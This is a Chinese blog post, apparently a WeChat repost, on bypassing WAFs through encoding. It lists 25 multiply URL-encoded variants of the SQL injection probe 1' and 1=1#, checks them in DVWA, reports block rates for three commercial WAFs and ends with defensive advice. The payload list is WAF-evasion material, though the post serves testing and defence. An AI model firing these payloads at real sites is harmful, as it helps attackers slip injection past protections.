测试的环境
后端环境
WAF环境
-
阿里云WAF[1] -
360磐云WAF[2] -
安恒明御WAF[3]
测试的思路
-
先在后端环境(DVWA)验证payload能否成功执行,不能为了绕过而绕过,选出25个真实有效的payload; -
再用payload测试WAF,得出WAF对payload的拦截率。
1、制作并验证payload
本次用于编码绕过WAF的payload是 1' and 1=1#
。
制作步骤一:将 and
换成 &&
可以得到3个payload:
1. 1' and 1=1#
2. 1' && 1=1#
3. 1'&&1=1#
制作步骤二:将空格分别编码成 +
和 %20
可以得到5个payload:
1. 1'+and+1=1#
2. 1'%20and%201=1#
3. 1'+&&+1=1#
4. 1'%20&&%201=1#
5. 1'&&1=1#
制作步骤三:将每个payload重复进行5次编码,最终得到25个payload:
1. 1' and 1=1#
1. 1'+and+1=1#(空格 -> 加号 -> %2B -> %252B -> ...)
1. 1%27+and+1%3D1%23
2. 1%2527%2Band%2B1%253D1%2523
3. 1%252527%252Band%252B1%25253D1%252523
4. 1%25252527%25252Band%25252B1%2525253D1%25252523
5. 1%2525252527%2525252Band%2525252B1%252525253D1%2525252523
2. 1'%20and%201=1#(空格 -> %20 -> %2520 -> %252520 -> ...)
1. 1%27%20and%201%3D1%23
2. 1%2527%2520and%25201%253D1%2523
3. 1%252527%252520and%2525201%25253D1%252523
4. 1%25252527%25252520and%252525201%2525253D1%25252523
5. 1%2525252527%2525252520and%25252525201%252525253D1%2525252523
2. 1' && 1=1#
1. 1'+&&+1=1#(空格 -> 加号 -> %2B -> %252B -> ...)
1. 1%27+%26%26+1%3D1%23
2. 1%2527%2B%2526%2526%2B1%253D1%2523
3. 1%252527%252B%252526%252526%252B1%25253D1%252523
4. 1%25252527%25252B%25252526%25252526%25252B1%2525253D1%25252523
5. 1%2525252527%2525252B%2525252526%2525252526%2525252B1%252525253D1%2525252523
2. 1'%20&&%201=1#(空格 -> %20 -> %2520 -> %252520 -> ...)
1. 1%27%20%26%26%201%3D1%23
2. 1%2527%2520%2526%2526%25201%253D1%2523
3. 1%252527%252520%252526%252526%2525201%25253D1%252523
4. 1%25252527%25252520%25252526%25252526%252525201%2525253D1%25252523
5. 1%2525252527%2525252520%2525252526%2525252526%25252525201%252525253D1%2525252523
3. 1'&&1=1#
1. 1%27%26%261%3D1%23
2. 1%2527%2526%25261%253D1%2523
3. 1%252527%252526%2525261%25253D1%252523
4. 1%25252527%25252526%252525261%2525253D1%25252523
5. 1%2525252527%2525252526%25252525261%252525253D1%2525252523
验证方法一:使用BurpSuite的Intruder装载payload在没有WAF防护的后端环境(DVWA)中验证payload能否成功执行:
取消payload编码以避免因为BurpSuite对payload进行编码而导致payload改变:
提取响应体特征,此处提取的是payload成功执行时的特征,存在特征说明payload有效:
验证结果是,25个payload全部有效,都可以成功执行:
验证方法二:在MySQL中执行payload,也都成功执行,也说明了payload真实有效:
2、测试WAF
操作和上面一样,需要取消payload编码、提取响应体特征。区别在于此处提取的是payload被WAF拦截的特征。
A WAF的测试结果是:拦截6个,放行19个,拦截率24%。
再次测试时,拦截率100%,说明是IP地址被拉黑了,而非WAF拦截:
B WAF的测试结果是:拦截1个,放行24个,拦截率4%。再次测试时,结果一致:
C WAF的测试结果是:拦截1个,放行24个,拦截率4%。再次测试时,结果一致:
一些说明
-
本次测试的WAF所防护的站点是随机选取的,并未统一防护配置。因此本次测试结论,仅用于验证编码绕过WAF的可能性,无法佐证WAF之间的防护能力高低。 -
本次测试的payload样本制作逻辑并不严谨,不具备广泛的代表性,仅用于验证编码场景在某一类SQLi攻击中绕过WAF的可能性,无法代表WAF真实的防护效果。
安全建议
对甲方
-
SOAR在自动化攻击面前还是慢了,建议同时运营好WAF的高可信规则,在SOAR全面封禁之前,授予WAF自动临时封禁告警中攻击源IP地址的能力。 -
WAF是纵深防御中靠外的一环,实施成本低防护效果有限。靠内的话建议配合RASP,虽然实施成本高但是防护效果好。
对乙方:
-
伴随攻击者的不断成长,WAF规则引擎的短板已经显现,WAF未来靠的是语义引擎和智能引擎吗? -
伴随绕过手法的增加,堆设备解决不了客户的所有安全问题,还是得捆绑运营服务把产品用起来。
参考资料
阿里云WAF: https://www.aliyun.com/product/waf
[2]360磐云WAF: https://www.360panyun.com/
[3]安恒明御WAF: https://www.dbappsecurity.com.cn/product/cloud150.html
原文始发于微信公众号(OneMoreThink):编码绕过WAF
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论